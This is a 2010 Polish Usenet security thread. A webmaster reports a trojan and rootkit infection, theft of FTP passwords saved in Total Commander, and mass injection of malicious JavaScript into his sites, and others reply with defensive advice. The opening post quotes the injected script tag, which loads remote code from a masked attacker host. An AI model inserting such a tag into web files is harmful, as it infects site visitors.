🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: pl.comp.security
15 messages
15 total messages Started by latet Wed, 16 Jun 2010 13:38
Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64404
Author: latet
Date: Wed, 16 Jun 2010 13:38
102 lines
5518 bytes
Witam,

Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu) strony
www, na której znajduje się złośliwy kod JS typu:

<script type="text/javascript"
src="http://XXXXXXomestore.com:8080/File.js"></script>

doszło do tak poważnych wydarzeń jak:

1. istalacja w systemie trojana

2. instalacja root-kita, który ukrywa trojana

3. kradzież haseł do licznych kont FTP z ustawień Total Commandera!

4. wklejenie złośliwego kodu JS do setek plików na wszystkich serwerach do
których udało się robotowi zalogować dzięki ukradzionym tak hasłom do FTP.
Masakra!

Bo wczoraj tak się właśnie u mnie stało - mimo, ze cały czas działał Kaspersky.
Tzn. ja nie wiem czy rzeczywiscie doszło do tego w taki sposób, dlatego pytam
tutaj, czy to możliwe, ale z moje strony wyglądało to tak:

1. Otrzymałem mailem czystko tekstowy (ASCII) załącznik .html

2. Skopiowałem go na pulpit i przeksnowałem antywirem - czysty.

3. Otworzyłem go EditPlusem, w środku zobaczyłem tylko taki kod JS jak wyżej.

4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox - odpaliłem
(chciałem zobaczyć czy Kaspersky zareaguje).

5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że wykrył
złośliwy kod i że ZOSTAŁ ON
ZABLOKOWANY !!! !!! !!!

6. Myślałem więc, że nic sie nie stało. Nie zauważyłem nic nienormalnego.

7. Wyłączyłem kompa i poszedłem do pracy.

8. Wróćiłem, odpalam kompa i zaczęły się pojawiać dość subtelne objawy infekcji,
mianowicie:

    a) podczas wyszukiwania czegokolwiek w Google Kaspersky alarmwował, że
blokuje jakieś adresy Phishingowe.

b) w "msconfig" / "autostart" pojawiła sie pozycja wwwamq32.exe, której nie
dawało się wyłączyć (tzn. dawało sie, ale włączała sie spowrotem".

9. Zapuściłem skan Kasperskim i wykrył w pamieci RAM obecnosc rootkita
Rootkit.Win32.TDSS.bgqo. Probował go usuwać - wymuszajac podczas tej procedury
restart systemu, ale bezskutecznie.

10. Dopiero Kaspersky odpalony spod innego systetmu znalazł i usunął szkodnika w
3 miejscach:
http://www.medfoto.pl/img/rootkit.png

Myślałem, że już po sprawie, ale to był dopiero początek horroru...

Wszedłem na jedną ze stron www, które prowadzę (jako webmaster) i Kapsersky
podniósł alarm, ze
zablokował na niej złośliwy skrypt. Zalogowałem sie przez FTP i zobaczyłem, że
wszelkie pliki index.php, wszystkie pliki *.js i trochę innych, zostało
zmodyfikowanych - dopisany do nich został cytowany na początku kod JS.

Pół nocy siedziałem i wywalałem złośliwy kod z setek różnych plików.

Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę osób się
zaraziło, nie wiem tylko jak poważnie, czy w taki sam sposób jak mój komp
pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie, a nie z netu -
być moze to czyni różnicę?).

W międzyczasie Kaspersky przestał blokować strony na których złośliwy kod
jeszcze był. Wygląda na to, że mają one z góry ustaloną na krótki czas
żywotność.

Oczywiście zmieniłem jeszcze wszystkie hasła, w tym hasła do baz SQL, które
przecież po zalogowaniu się przez FTP robot mógł ukraść z plików config. forum
phpBB.

Dla mnie morał jest taki, że nie wolno trzymać haseł do kont FPT zapisanych w
kliencie FTP. Trzeba je mieć w głowie.

Swoją drogą - nie wiem jeszcze, czy wirus ten nie ukradł też jakichś innych
haseł, np. zapisanych w przeglądarkach www. Tych na szczęście miałem mało,
głównie do jakichś Forum, gdzie mam uprawnienia szargo użytkownika.

Ale powtórzę pytanie początkowe - czy to wszystko mogło sie zacząć od
"niewinnego" kodu JS? Czy JS ma taki potencjał, że moze zmusić przeglądarkę do
zainstalowania takiego syfu bez zgody użytkownika? Przecież rootkit, to niemal
jak driver systemowy. Zapewniam, że nie byłem pytany o żadne potwierdzenia.
Wszystko się zainstalowało po cichu (Win XP, kotno z uprawnieniami admina).

Jeśli to się zaczęło przez JS, to jestem przerażony...
Jeśli inaczej - to jestem załamany, że nie wiem jak.
Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
blokuje, ale jednak z zerowym efektem!

Dzięki,

latet
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64413
Author: Lemat
Date: Thu, 17 Jun 2010 09:48
46 lines
2672 bytes
latet wrote:

> Witam,
> 
> Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu)
> strony www, na której znajduje się złośliwy kod JS typu:
> 
> <script type="text/javascript"
> src="http://XXXXXXomestore.com:8080/File.js"></script>
> 
> doszło do tak poważnych wydarzeń jak:
> 
> 1. istalacja w systemie trojana
 
tak, jeżeli przeglądarka jest dziurawa

> 4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox -
> odpaliłem (chciałem zobaczyć czy Kaspersky zareaguje).
> 
> 5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że
> wykrył złośliwy kod i że ZOSTAŁ ON
> ZABLOKOWANY !!! !!! !!!

kod javascript może wczytać inny kod javascript, przeskanujesz pierwszego, 
ale drugiego już nie
 
> innych, zostało zmodyfikowanych - dopisany do nich został cytowany na
> początku kod JS.

data modyfikacji pliku - czy była taka, że twój komp był włączony w tym 
czasie?
 
> Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę
> osób się zaraziło, 

jeżeli mieli dziurawe przeglądarki

> nie wiem tylko jak poważnie, czy w taki sam sposób jak
> mój komp pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie,
> a nie z netu - być moze to czyni różnicę?).

tak, dla IE robi
 
-- 
Pozdrawiam
Lemat
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64406
Author: Marek Marczykowski
Date: Thu, 17 Jun 2010 10:09
111 lines
6228 bytes
On 2010-06-16, latet <latet@latet.pl> wrote:
> Witam,
>
> Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu) strony
> www, na której znajduje się złośliwy kod JS typu:
>
><script type="text/javascript"
> src="http://XXXXXXomestore.com:8080/File.js"></script>
>
> doszło do tak poważnych wydarzeń jak:
>
> 1. istalacja w systemie trojana
>
> 2. instalacja root-kita, który ukrywa trojana
>
> 3. kradzież haseł do licznych kont FTP z ustawień Total Commandera!
>
> 4. wklejenie złośliwego kodu JS do setek plików na wszystkich serwerach do
> których udało się robotowi zalogować dzięki ukradzionym tak hasłom do FTP.
> Masakra!

Tak, takie coś krąży po sieci od co najmniej roku...
Do infekcji głównie wykorzystuje dziury w flash-playerze, acrobacie,
itp.

> Bo wczoraj tak się właśnie u mnie stało - mimo, ze cały czas działał Kaspersky.
> Tzn. ja nie wiem czy rzeczywiscie doszło do tego w taki sposób, dlatego pytam
> tutaj, czy to możliwe, ale z moje strony wyglądało to tak:
>
> 1. Otrzymałem mailem czystko tekstowy (ASCII) załącznik .html
>
> 2. Skopiowałem go na pulpit i przeksnowałem antywirem - czysty.
>
> 3. Otworzyłem go EditPlusem, w środku zobaczyłem tylko taki kod JS jak wyżej.
>
> 4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox - odpaliłem
> (chciałem zobaczyć czy Kaspersky zareaguje).
>
> 5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że wykrył
> złośliwy kod i że ZOSTAŁ ON
> ZABLOKOWANY !!! !!! !!!
>
> 6. Myślałem więc, że nic sie nie stało. Nie zauważyłem nic nienormalnego.
>
> 7. Wyłączyłem kompa i poszedłem do pracy.
>
> 8. Wróćiłem, odpalam kompa i zaczęły się pojawiać dość subtelne objawy infekcji,
> mianowicie:
>
>     a) podczas wyszukiwania czegokolwiek w Google Kaspersky alarmwował, że
> blokuje jakieś adresy Phishingowe.
>
> b) w "msconfig" / "autostart" pojawiła sie pozycja wwwamq32.exe, której nie
> dawało się wyłączyć (tzn. dawało sie, ale włączała sie spowrotem".
>
> 9. Zapuściłem skan Kasperskim i wykrył w pamieci RAM obecnosc rootkita
> Rootkit.Win32.TDSS.bgqo. Probował go usuwać - wymuszajac podczas tej procedury
> restart systemu, ale bezskutecznie.
>
> 10. Dopiero Kaspersky odpalony spod innego systetmu znalazł i usunął szkodnika w
> 3 miejscach:
> http://www.medfoto.pl/img/rootkit.png
>
> Myślałem, że już po sprawie, ale to był dopiero początek horroru...
>
> Wszedłem na jedną ze stron www, które prowadzę (jako webmaster) i Kapsersky
> podniósł alarm, ze
> zablokował na niej złośliwy skrypt. Zalogowałem sie przez FTP i zobaczyłem, że
> wszelkie pliki index.php, wszystkie pliki *.js i trochę innych, zostało
> zmodyfikowanych - dopisany do nich został cytowany na początku kod JS.
>
> Pół nocy siedziałem i wywalałem złośliwy kod z setek różnych plików.
>
> Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę osób się
> zaraziło, nie wiem tylko jak poważnie, czy w taki sam sposób jak mój komp
> pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie, a nie z netu -
> być moze to czyni różnicę?).
>
> W międzyczasie Kaspersky przestał blokować strony na których złośliwy kod
> jeszcze był. Wygląda na to, że mają one z góry ustaloną na krótki czas
> żywotność.
>
> Oczywiście zmieniłem jeszcze wszystkie hasła, w tym hasła do baz SQL, które
> przecież po zalogowaniu się przez FTP robot mógł ukraść z plików config. forum
> phpBB.
>
> Dla mnie morał jest taki, że nie wolno trzymać haseł do kont FPT zapisanych w
> kliencie FTP. Trzeba je mieć w głowie.
>
> Swoją drogą - nie wiem jeszcze, czy wirus ten nie ukradł też jakichś innych
> haseł, np. zapisanych w przeglądarkach www. Tych na szczęście miałem mało,
> głównie do jakichś Forum, gdzie mam uprawnienia szargo użytkownika.
>
> Ale powtórzę pytanie początkowe - czy to wszystko mogło sie zacząć od
> "niewinnego" kodu JS? Czy JS ma taki potencjał, że moze zmusić przeglądarkę do
> zainstalowania takiego syfu bez zgody użytkownika? Przecież rootkit, to niemal
> jak driver systemowy. Zapewniam, że nie byłem pytany o żadne potwierdzenia.
> Wszystko się zainstalowało po cichu (Win XP, kotno z uprawnieniami admina).
>
> Jeśli to się zaczęło przez JS, to jestem przerażony...
> Jeśli inaczej - to jestem załamany, że nie wiem jak.
> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
> blokuje, ale jednak z zerowym efektem!

Widać pora zmienić AV ;) 

-- 
Pozdrawiam,
Marek Marczykowski          |   gg:2873965      | RLU #390519
marmarek at staszic waw pl  | xmpp:marmarek at staszic waw pl
http://akademia.linuksa.pl - Szkolenia Linux, PHP, Java, Office
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64416
Author: pitpull
Date: Thu, 17 Jun 2010 10:33
23 lines
1992 bytes
Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
news:hvcs98$kjm$1@io.staszic.waw.pl...
> On 2010-06-16, latet <latet@latet.pl> wrote:
>> Witam,
>>


>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>> blokuje, ale jednak z zerowym efektem!
>
> Widać pora zmienić AV ;)
>

A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
Zainstalować sobie system wirtualny na MS Virtual PC / VMWarePlayer - te są 
za darmo.
Żaden AV/firewall w windows  nie jest 100% skuteczny.

pitpull
*) Też złapał coś kiedyś, jak szukał sterowników do karty dźwiękowej...... 
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64417
Author: Maciek "Babcia" Dobosz
Date: Thu, 17 Jun 2010 11:00
35 lines
2665 bytes
On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
wrote:

>
>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>news:hvcs98$kjm$1@io.staszic.waw.pl...
>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>> Witam,
>>>
>
>
>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>> blokuje, ale jednak z zerowym efektem!
>>
>> Widać pora zmienić AV ;)
>>
>
>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 

I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
usuwa zmiany przez parę godzin.

Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
Windows dostępna pod VirtualBoxem.

Zdrówko
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64418
Author: Konrad Stepien
Date: Thu, 17 Jun 2010 18:32
47 lines
3420 bytes
Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisał(a):
> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
> wrote:
>
>>
>>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>> Witam,
>>>>
>>
>>
>>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>>> blokuje, ale jednak z zerowym efektem!
>>>
>>> Widać pora zmienić AV ;)
>>>
>>
>>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
>
> I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
> robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
> jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
> odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
> mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
> ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
> usuwa zmiany przez parę godzin.

Oj, zdziwiłbyś się ilu takich "webmasterów" jest.

> Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
> to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
> Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
> Windows dostępna pod VirtualBoxem.

To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
do zabawy i czysty system do pracy. 
Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64419
Author: Szymon Sokół
Date: Thu, 17 Jun 2010 20:52
16 lines
2281 bytes
On Thu, 17 Jun 2010 20:32:35 +0200, Konrad Stepien wrote:

> To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
> robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
> z $HOME/.ssh. 

Już są. A myślisz, że skąd się wziął pomysł hashowania hostów w
.ssh/known-hosts? Właśnie po to, żeby włamywacz/worm nie zgadł za łatwo, na
jakie hosty się dostanie Twoim kluczem (albo tym samym hasłem, którym wszedł
na Twoje konto). 

-- 
Szymon Sokół (SS316-RIPE) -- Network Manager                                 B
Computer Center, AGH - University of Science and Technology, Cracow, Poland  O
http://home.agh.edu.pl/szymon/ PGP key id: RSA: 0x2ABE016B, DSS: 0xF9289982  F
Free speech includes the right not to listen, if not interested -- Heinlein  H
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64420
Author: Michoo
Date: Thu, 17 Jun 2010 21:32
12 lines
1873 bytes
Szymon Sokół pisze:
> Już są. A myślisz, że skąd się wziął pomysł hashowania hostów w
> .ssh/known-hosts? Właśnie po to, żeby włamywacz/worm nie zgadł za łatwo, na
> jakie hosty się dostanie Twoim kluczem (albo tym samym hasłem, którym wszedł
> na Twoje konto). 
> 
No tak, bo twórcy robaków to kompletni idioci i nie sprawdzą historii 
shella.

-- 
Pozdrawiam
Michoo
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64421
Author: Konrad Stepien
Date: Thu, 17 Jun 2010 23:04
19 lines
2314 bytes
Michoo <michoo_news@vp.pl> napisał(a):
> Szymon Sokó? pisze:
>> Ju? s?. A my?lisz, ?e sk?d si? wzi?? pomys? hashowania hostów w
>> .ssh/known-hosts? W?a?nie po to, ?eby w?amywacz/worm nie zgad? za ?atwo, na
>> jakie hosty si? dostanie Twoim kluczem (albo tym samym has?em, którym wszed?
>> na Twoje konto). 
>> 
> No tak, bo twórcy robaków to kompletni idioci i nie sprawdz? historii 
> shella.

Wiesz, w historii może tego nie być z wielu poodów, choćby takich,
że autoryzacja kluczem czesto jest robiona głównie dla skryptów
chodzacych z crona. A w known_hosts będą wszystkie wpisy.
Poza tym autorzy ssh mają wpływ na to co jest w known_hosts, na to co
w historii juz nie bardzo. Więc poprawiają to na co mają wpływ.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64422
Author: Adam Przybyla
Date: Fri, 18 Jun 2010 04:44
46 lines
3589 bytes
Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisał(a):
>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>> wrote:
>>
>>>
>>>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>> Witam,
>>>>>
>>>
>>>
>>>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>>>> blokuje, ale jednak z zerowym efektem!
>>>>
>>>> Widać pora zmienić AV ;)
>>>>
>>>
>>>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
>>
>> I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
>> robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
>> jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
>> odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
>> mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
>> ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
>> usuwa zmiany przez parę godzin.
> 
> Oj, zdziwiłbyś się ilu takich "webmasterów" jest.
> 
>> Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
>> to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
>> Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
>> Windows dostępna pod VirtualBoxem.
> 
> To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
> robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
> z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
> do zabawy i czysty system do pracy. 
> Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
> Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.
	... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
								Adam Przybyla
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64427
Author: Maciek "Babcia" Dobosz
Date: Fri, 18 Jun 2010 14:07
47 lines
3981 bytes
On Thu, 17 Jun 2010 20:32:35 +0200, Konrad Stepien
<xbaenq@vagreqngn.arg.cy> wrote:

>
>Oj, zdziwiłbyś się ilu takich "webmasterów" jest.

Po latach już się nie dziwię. Choć czasami ręce opadają. Jak ostatnio
z kolesiem który nie mógł zrozumieć praw dostępu i żądał dla swojej
strony 777 dla całości "bo tak mu lepiej". Po czym okazało się że
koleś zasadniczo to do tej pory tylko na komputerze z serwerem WWW pod
XP i inaczej nie umie. I nie mógł zorzumiec że sa jakies prawa do
plików, właściciele, grupy, etc. A stronę stawiać chciał poważną i
dziwił się że nie zgadzam się na jego pomysły. "Bo tak byłoby
prościej" mi powiedział i "W razie czego to wgrasz zawartość z płytki
od nowa". Na szczęscie po mojej interwencji u zamawiającego skońćzyło
się na rezygnacji z usług "webmastera".

>To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
>robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
>z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
>do zabawy i czysty system do pracy. 

Jak na razie nie słyszałem o takowym niemniej pomysł z piaskownicą
jest oczysićie OK.

>Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
>Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.

Wiesz - mi ręce opdały jak zobaczyłem poziom wiedzy na informatyce na
jednej z prywantych uczelni a teraz każda ma taki kierunek. Na około
200 studentów 3 roku - na rok przed obrona pracy - do jakiegokolwiek
zatrudnienia na poziomie administrowania czymkolwiek, programowania
czy robienia jakiegoś ciut bardziej zaawansowanego WWW nadawało sie
może z 5-10% i to Ci którzy przyszli zrobić papier już gdzieś
pracując. A dyplom obroni większość z nich. Jak widze że marzeniem
wielu z nich b?ła posada informtyka w urzędzie to wlosy mi stają dęba.
Inna sprawa że na tej uczelni fachowców-praktyków od przedmiotów
zawodowych (systemy operacyjne, sieci, grafika komputerowa, etc.) było
zaledwie kilku. Większość prowadzących zajęcia to 50-60 latkowie
którym zależało tylko by studenci spokojnie siedzieli i oni mieli
spokój. Efekt był taki że razem z kumplem konfigurowaliśmy
prowadzącemu routery do zajęć z sieci bo nie za bardzo potrafił. Ale
tacy studenci pójdą w świat jako dumni informatycy i robotę znajdą bo
brak pracowników w branży. Trafia tam gdzie najmniej płacą czyli do
urzędów. A my potem będziemy się zżymac że są tam takie buble....

Zdrówko
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64423
Author: Konrad Stepien
Date: Sun, 20 Jun 2010 22:29
58 lines
3882 bytes
Adam Przybyla <adam@rybnik.pl> napisał(a):
> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>> wrote:
>>>
>>>>
>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>> Witam,
>>>>>>
>>>>
>>>>
>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>
>>>>> Wida? pora zmieni? AV ;)
>>>>>
>>>>
>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>
>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>> usuwa zmiany przez par? godzin.
>> 
>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>> 
>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>> Windows dost?pna pod VirtualBoxem.
>> 
>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>> do zabawy i czysty system do pracy. 
>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>
> 	... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
> 								Adam Przybyla

No przecież pisałem o "piaskownicy".
A czy to będzie dosłownie piaskownica, czyli sandbox, czy jakaś virtualna
maszyna to już w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
wystarczy 2 konta sobie zrobić, wleźć na root-a to jednak nie to samo co
podebrać pliki z $HOME.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64424
Author: Adam Przybyla
Date: Mon, 21 Jun 2010 05:48
59 lines
4355 bytes
Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Adam Przybyla <adam@rybnik.pl> napisał(a):
>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>>> wrote:
>>>>
>>>>>
>>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>>> Witam,
>>>>>>>
>>>>>
>>>>>
>>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>>
>>>>>> Wida? pora zmieni? AV ;)
>>>>>>
>>>>>
>>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>>
>>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>>> usuwa zmiany przez par? godzin.
>>> 
>>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>>> 
>>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>>> Windows dost?pna pod VirtualBoxem.
>>> 
>>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>>> do zabawy i czysty system do pracy. 
>>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>>
>>       ... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
>>                                                               Adam Przybyla
> 
> No przecież pisałem o "piaskownicy".
> A czy to będzie dosłownie piaskownica, czyli sandbox, czy jakaś virtualna
> maszyna to już w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
> wystarczy 2 konta sobie zrobić, wleźć na root-a to jednak nie to samo co
> podebrać pliki z $HOME.
	... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
http://danwalsh.livejournal.com/28545.html
Z powazaniem
								Adam Przybyla
Re: Kradziez hasel z Total Commandera i infekcja plikow na serwerach FTP
#64425
Author: Konrad Stepien
Date: Mon, 21 Jun 2010 13:37
70 lines
5068 bytes
